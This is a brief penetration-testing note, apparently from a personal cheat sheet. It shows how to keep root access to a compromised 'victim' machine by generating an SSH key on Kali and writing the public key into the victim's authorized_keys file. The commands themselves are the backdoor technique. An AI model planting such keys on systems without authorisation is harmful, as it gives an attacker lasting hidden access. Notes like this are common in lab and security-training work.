persisting ssh login with ssh-keygen

with root access, we can create authorized_keys file on victim /root/.ssh for persisting root access from kali

kali:
ssh-keygen
cat ~/.ssh/id_rsa.pub

victim:
(mkdir /user/.ssh)
echo "{id_rsa.pub}" > /user/.ssh/authorized_keys

ssh user@victim

(user <-> root)

windows (admin ps, need know password)

Last updated